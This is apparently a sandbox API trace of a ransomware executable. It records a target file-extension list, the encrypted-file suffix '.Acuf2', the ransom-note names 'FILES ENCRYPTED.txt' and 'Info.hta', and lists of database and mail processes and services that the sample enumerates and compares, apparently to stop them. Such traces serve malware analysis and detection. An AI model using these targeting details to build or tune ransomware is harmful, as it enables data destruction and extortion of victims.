	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5436c8
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5436e0
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5436f8
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543710
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543728
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543740
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543758
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543770
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543788
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5437a0
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5437b8
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5437d0
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5437e8
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543800
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543818
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543830
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543848
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543888
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5438a0
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5438b8
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5438d0
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5438e8
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543900
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543918
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543930
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543948
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x543960
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x526020
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543978
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543990
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5439a8
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5439c0
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5439d8
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5439f0
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543a08
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543a20
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543a38
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543a50
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543a68
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543a80
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543a98
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543ab0
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543ac8
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543ae0
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543af8
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543b10
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543b28
	[0034.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543b40
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543b58
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543b70
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543b88
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x543ba0
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543bb8
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a248
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543bd0
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a258
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543be8
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543c00
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543c18
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543c30
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543c48
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543c88
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543ca0
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543cb8
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543cd0
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543ce8
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543d00
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543d18
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x543d30
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543d48
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a268
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543d60
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543d78
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543d90
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543da8
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543dc0
	[0034.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543dd8
	[0034.880] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x543068, Size=0x800) returned 0x544070
	[0034.880] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0034.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540060 | out: hHeap=0x4f0000) returned 1
	[0034.880] lstrlenW (lpString="") returned 0
	[0034.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544ef0 | out: hHeap=0x4f0000) returned 1
	[0034.880] lstrlenW (lpString=".Acuf2") returned 6
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544ff8, Size=0x20) returned 0x525b10
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525b10, Size=0x40) returned 0x526c78
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526c78, Size=0x80) returned 0x54b450
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2d8, Size=0x8) returned 0x52a2f8
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2f8, Size=0x10) returned 0x544ff8
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544ff8, Size=0x20) returned 0x525a48
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f80, Size=0x20) returned 0x525b38
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525b38, Size=0x40) returned 0x526c78
	[0035.118] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0035.118] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f80, Size=0x20) returned 0x525b38
	[0035.118] lstrlenW (lpString="Info.hta") returned 8
	[0035.789] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57e470, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swpesp.exe")) returned 0x30
	[0035.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57e470 | out: hHeap=0x4f0000) returned 1
	[0035.790] lstrlenW (lpString="swpesp.exe") returned 10
	[0035.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525a48, Size=0x40) returned 0x526c78
	[0035.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f80, Size=0x20) returned 0x525a48
	[0035.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f80, Size=0x20) returned 0x525b60
	[0035.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525b60, Size=0x40) returned 0x526cc0
	[0035.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cc0, Size=0x80) returned 0x54b450
	[0035.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x541188
	[0035.790] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0035.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541188 | out: hHeap=0x4f0000) returned 1
	[0035.790] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x57e470, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc
	[0035.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x58e478 | out: hHeap=0x4f0000) returned 1
	[0035.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57e470 | out: hHeap=0x4f0000) returned 1
	[0035.790] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2f8, Size=0x8) returned 0x52a2d8
	[0035.790] lstrlenW (lpString="%windir%;") returned 9
	[0035.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525a48 | out: hHeap=0x4f0000) returned 1
	[0035.790] lstrlenW (lpString="C:\\Windows;") returned 11
	[0035.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d458 | out: hHeap=0x4f0000) returned 1
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f98, Size=0x20) returned 0x525a48
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525a48, Size=0x40) returned 0x526cc0
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cc0, Size=0x80) returned 0x54b450
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x541188
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a328, Size=0x8) returned 0x52a338
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a338, Size=0x10) returned 0x544f68
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f68, Size=0x20) returned 0x525a48
	[0035.791] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2f8, Size=0x8) returned 0x52a338
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a308, Size=0x8) returned 0x52a2f8
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a328, Size=0x8) returned 0x52a348
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a348, Size=0x10) returned 0x5406d8
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5406d8, Size=0x20) returned 0x525b60
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a338, Size=0x10) returned 0x5406d8
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2f8, Size=0x10) returned 0x540708
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a338, Size=0x8) returned 0x52a328
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a358, Size=0x8) returned 0x52a368
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5406d8, Size=0x20) returned 0x525b88
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540708, Size=0x20) returned 0x525bb0
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a378, Size=0x8) returned 0x52a388
	[0035.792] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540780, Size=0x20) returned 0x525bd8
	[0035.792] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x55d458, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0035.792] lstrlenW (lpString="C:\\") returned 3
	[0035.792] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0035.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d458 | out: hHeap=0x4f0000) returned 1
	[0035.793] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54a0e0, Size=0x82) returned 0x540f20
	[0035.793] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54a100, Size=0x100) returned 0x541188
	[0035.793] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540f20, Size=0x104) returned 0x54a548
	[0035.793] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541188, Size=0x200) returned 0x5460d0
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54a0f0 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5460d0 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540828 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b670 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5407e0 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5e8 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540810 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54a548 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5407f8 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fb0 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540840 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54a4b8 | out: hHeap=0x4f0000) returned 1
	[0035.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540858 | out: hHeap=0x4f0000) returned 1
	[0035.794] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540858, Size=0x20) returned 0x525c00
	[0035.794] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525c00, Size=0x40) returned 0x526cc0
	[0035.799] WaitForMultipleObjects (nCount=0x2, lpHandles=0x527c28*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0x928


Thread:
	id = 4
	os_tid = 0x934

	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x544f08
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f08, Size=0x20) returned 0x525980
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525980, Size=0x40) returned 0x526b10
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b450
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x541080
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x544f08
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f08, Size=0x20) returned 0x525980
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525980, Size=0x40) returned 0x526b10
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b450
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x541188
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x544f08
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52a2d8
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x544f20
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2d8, Size=0x8) returned 0x52a2e8
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x526060
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2e8, Size=0x10) returned 0x544f38
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x526080
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x525980
	[0035.078] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f38, Size=0x20) returned 0x5259a8
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x5259d0
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x5260a0
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x5259f8
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x544f38
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52a2e8
	[0035.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x526b10
	[0035.079] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2e8, Size=0x8) returned 0x52a2d8
	[0035.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x526b58
	[0035.079] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2d8, Size=0x10) returned 0x544f50
	[0035.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5260c0
	[0035.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x5260e0
	[0035.079] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544f50, Size=0x20) returned 0x525a20
	[0035.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x527ec8
	[0035.079] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0035.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541080 | out: hHeap=0x4f0000) returned 1
	[0035.079] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0035.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541188 | out: hHeap=0x4f0000) returned 1
	[0035.079] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x525ac0
	[0035.079] EnumServicesStatusExW (in: hSCManager=0x525ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0035.080] GetLastError () returned 0xea
	[0035.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5460b8
	[0035.080] EnumServicesStatusExW (in: hSCManager=0x525ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5460b8, cbBufSize=0x11e4, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5460b8, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0035.080] CloseServiceHandle (hSCObject=0x525ac0) returned 1
	[0035.081] lstrlenW (lpString="Appinfo") returned 7
	[0035.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0035.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0035.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0035.081] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0035.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0035.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0035.081] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0035.081] lstrlenW (lpString="AudioSrv") returned 8
	[0035.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0035.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0035.081] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0035.081] lstrlenW (lpString="BFE") returned 3
	[0035.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0035.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
